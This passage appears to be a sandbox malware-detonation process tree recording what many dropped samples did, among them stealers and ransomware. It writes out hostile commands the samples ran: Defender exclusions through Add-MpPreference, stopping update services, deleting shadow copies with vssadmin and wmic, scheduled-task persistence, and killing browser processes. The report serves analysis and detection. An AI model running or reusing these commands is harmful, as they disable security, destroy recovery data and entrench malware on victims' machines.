  - - C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4352
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 61760
        5⤵
        Program crash
        
        PID:11648
  - - C:\Users\Admin\AppData\Local\Temp\Files\r.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:7440
    - - \??\c:\windows\SysWOW64\svchost.exe
        
        c:\windows\system32\svchost.exe
        5⤵
        
        PID:11500
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 904
        5⤵
        Program crash
        
        PID:10884
  - - C:\Users\Admin\AppData\Local\Temp\Files\install2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\install2.exe"
      4⤵
      Executes dropped EXE
      PID:11072
    - - C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\install2.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:8284
      - C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe
        
        "C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe" "--multiprocessing-fork" "parent_pid=8284" "pipe_handle=508"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im opera.exe"
        7⤵
        
        PID:8660
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im opera.exe
        8⤵
        Kills process with taskkill
        
        PID:9436
      - C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe
        
        "C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe" "--multiprocessing-fork" "parent_pid=8284" "pipe_handle=516"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im opera.exe"
        7⤵
        
        PID:7480
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im opera.exe
        8⤵
        Kills process with taskkill
        
        PID:12028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im browser.exe"
        7⤵
        
        PID:10420
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im browser.exe
        8⤵
        Kills process with taskkill
        
        PID:7028
      - C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe
        
        "C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe" "--multiprocessing-fork" "parent_pid=8284" "pipe_handle=520"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:7088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im msedge.exe"
        7⤵
        
        PID:5104
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im msedge.exe
        8⤵
        Kills process with taskkill
        
        PID:10164
      - C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe
        
        "C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe" "--multiprocessing-fork" "parent_pid=8284" "pipe_handle=556"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:9736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im brave.exe"
        7⤵
        
        PID:9472
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im brave.exe
        8⤵
        Kills process with taskkill
        
        PID:10740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im vivaldi.exe"
        7⤵
        
        PID:6796
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im vivaldi.exe
        8⤵
        Kills process with taskkill
        
        PID:10256
      - C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe
        
        "C:\Users\Admin\AppData\Local\Temp\onefile_11072_133702043427323413\test.exe" "--multiprocessing-fork" "parent_pid=8284" "pipe_handle=360"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:8948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im chrome.exe"
        7⤵
        
        PID:10012
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:1124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:9568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:11488
  - - C:\Users\Admin\AppData\Local\Temp\Files\semgm.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\semgm.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:9444
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:9192
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminJDGCFBAFBF.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:9156
        
        C:\Users\AdminJDGCFBAFBF.exe
        
        "C:\Users\AdminJDGCFBAFBF.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:11980
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:10680
        
        C:\ProgramData\IJDHCBGHJE.exe
        
        "C:\ProgramData\IJDHCBGHJE.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:7948
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:7012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7948 -s 892
        10⤵
        Program crash
        
        PID:7680
        
        C:\ProgramData\JJECGHJDBF.exe
        
        "C:\ProgramData\JJECGHJDBF.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:12152
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        
        PID:11872
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:9556
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12152 -s 912
        10⤵
        Program crash
        
        PID:8896
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IDGHDGIDAKEB" & exit
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:10072
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        10⤵
        Delays execution with timeout.exe
        
        PID:5844
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 11980 -s 904
        8⤵
        Program crash
        
        PID:10504
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminHIDGCFBFBF.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:11032
        
        C:\Users\AdminHIDGCFBFBF.exe
        
        "C:\Users\AdminHIDGCFBFBF.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:10368
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10928
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10368 -s 904
        8⤵
        Program crash
        
        PID:10640
  - - C:\Users\Admin\AppData\Local\Temp\Files\t1.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"
      4⤵
      Executes dropped EXE
      PID:9380
  - - C:\Users\Admin\AppData\Local\Temp\Files\SVC.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\SVC.exe"
      4⤵
      Executes dropped EXE
      PID:7076
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 7076 -s 736
        5⤵
        
        PID:6224
  - - C:\Users\Admin\AppData\Local\Temp\Files\3544436.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\3544436.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:10388
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:10972
  - - C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5588
    - - C:\Windows\syschvard.exe
        
        C:\Windows\syschvard.exe
        5⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:7616
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:8528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:9896
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:11472
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:6040
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:11644
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:8224
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:8736
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5720
  - - C:\Users\Admin\AppData\Local\Temp\Files\RedLineStealer.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\RedLineStealer.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:7572
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4284
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7572 -s 312
        5⤵
        Program crash
        
        PID:7180
  - - C:\Users\Admin\AppData\Local\Temp\Files\Operation6572.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Operation6572.exe"
      4⤵
      Executes dropped EXE
      PID:11700
  - - C:\Users\Admin\AppData\Local\Temp\Files\pei.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pei.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:9996
    - - C:\Users\Admin\AppData\Local\Temp\973012736.exe
        
        C:\Users\Admin\AppData\Local\Temp\973012736.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6008
  - - C:\Users\Admin\AppData\Local\Temp\Files\pt.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pt.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:6148
    - - C:\Windows\system32\cmd.exe
        
        "cmd" /C tasklist
        5⤵
        
        PID:8124
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:11748
  - - C:\Users\Admin\AppData\Local\Temp\Files\06082025.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\06082025.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:7856
  - - C:\Users\Admin\AppData\Local\Temp\Files\yihiKsom.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\yihiKsom.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6752
  - - C:\Users\Admin\AppData\Local\Temp\Files\jet.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:7456
  - - C:\Users\Admin\AppData\Local\Temp\Files\t.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\t.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:7296
    - - C:\Windows\sysarddrvs.exe
        
        C:\Windows\sysarddrvs.exe
        5⤵
        Modifies security service
        Windows security bypass
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:5000
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:6360
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:7352
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        6⤵
        
        PID:6800
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:8568
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:9576
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2968
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:7768
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5460
  - - C:\Users\Admin\AppData\Local\Temp\Files\msedge.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\msedge.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of SetWindowsHookEx
      PID:9880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:396
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3920
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\ProgramData\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9564
  - - C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:7432
  - - C:\Users\Admin\AppData\Local\Temp\Files\tdrpload.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\tdrpload.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:11156
  - - C:\Users\Admin\AppData\Local\Temp\Files\pi.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pi.exe"
      4⤵
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:9000
    - - C:\Windows\sylsplvc.exe
        
        C:\Windows\sylsplvc.exe
        5⤵
        Windows security bypass
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:3036
  - - C:\Users\Admin\AppData\Local\Temp\Files\Set-up.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Set-up.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:6636
  - - C:\Users\Admin\AppData\Local\Temp\Files\random.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
      4⤵
      PID:7996
  - - C:\Users\Admin\AppData\Local\Temp\Files\Vhpcde.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Vhpcde.exe"
      4⤵
      Suspicious use of SetThreadContext
      PID:11216
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
        5⤵
        
        PID:6612
  - - C:\Users\Admin\AppData\Local\Temp\Files\11.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\11.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:10464
  - - C:\Users\Admin\AppData\Local\Temp\Files\DRIVEapplet.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\DRIVEapplet.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:9068
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        
        PID:1136
  - - C:\Users\Admin\AppData\Local\Temp\Files\s.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
      4⤵
      PID:1148
  - - C:\Users\Admin\AppData\Local\Temp\Files\Amadey.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Amadey.exe"
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5992
    - - C:\Users\Admin\AppData\Local\Temp\28c5e5ba36\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\28c5e5ba36\Hkbsse.exe"
        5⤵
        
        PID:6404
  - - C:\Users\Admin\AppData\Local\Temp\Files\o.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\o.exe"
      4⤵
      PID:9480
  - - C:\Users\Admin\AppData\Local\Temp\Files\m.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\m.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:8000
  - - C:\Users\Admin\AppData\Local\Temp\Files\66c0b1c0b0cf5_crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\66c0b1c0b0cf5_crypted.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:1820
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        
        PID:11588
- - C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
    "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:228
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 1396
      4⤵
      Program crash
      PID:10464
- - C:\Users\Admin\AppData\Local\Temp\asena.exe
    "C:\Users\Admin\AppData\Local\Temp\asena.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Checks SCSI registry key(s)
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic.exe shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4184
  - - C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2032
  - - C:\Windows\SysWOW64\notepad.exe
      C:\Users\Public\Documents\RGNR_48B172E2.txt
      4⤵
      System Location Discovery: System Language Discovery
      Opens file in notepad (likely ransom note)
      PID:12104
- - C:\Users\Admin\AppData\Local\Temp\Bomb.exe
    "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3144
  - - C:\Users\Admin\AppData\Local\Temp\25.exe
      "C:\Users\Admin\AppData\Local\Temp\25.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:308
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5640
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10192
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11924
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11856
  - - C:\Users\Admin\AppData\Local\Temp\24.exe
      "C:\Users\Admin\AppData\Local\Temp\24.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1988
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
        5⤵
        
        PID:9676
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:11460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7960
  - - C:\Users\Admin\AppData\Local\Temp\23.exe
      "C:\Users\Admin\AppData\Local\Temp\23.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2724
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5824
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3396
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10648
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8976
  - - C:\Users\Admin\AppData\Local\Temp\22.exe
      "C:\Users\Admin\AppData\Local\Temp\22.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5392
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:9748
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:5276
  - - C:\Users\Admin\AppData\Local\Temp\21.exe
      "C:\Users\Admin\AppData\Local\Temp\21.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4584
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
